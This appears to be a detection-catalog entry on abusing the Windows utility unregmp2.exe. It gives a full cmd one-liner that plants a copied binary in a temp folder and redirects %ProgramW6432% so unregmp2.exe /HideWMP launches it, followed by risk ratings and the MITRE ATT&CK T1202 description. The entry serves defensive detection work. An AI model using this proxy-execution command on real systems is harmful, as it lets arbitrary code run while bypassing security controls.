Command Line
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
Description
Abuse unregmp2.exe to copy a binary into a controlled directory, modify %ProgramW6432% ENVVAR to point to the directory then execute unregmp2 with argument /HideWMP which will spawn a process at the hijacked path - '%ProgramW6432%\wmpnscfg.exe'.
Risk
Critical
Risk Reason
Use of this binary with any other arguments is extremely suspicious.
Fidelity
High
Fidelity Reason
This type of behavior will be extremely rare in all organizations.
Operating Systems
Killchain Phases
References
MITRE ATT&CK TECHNIQUES
URL: https://attack.mitre.org/techniques/T1202
Description: Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.
Tactics: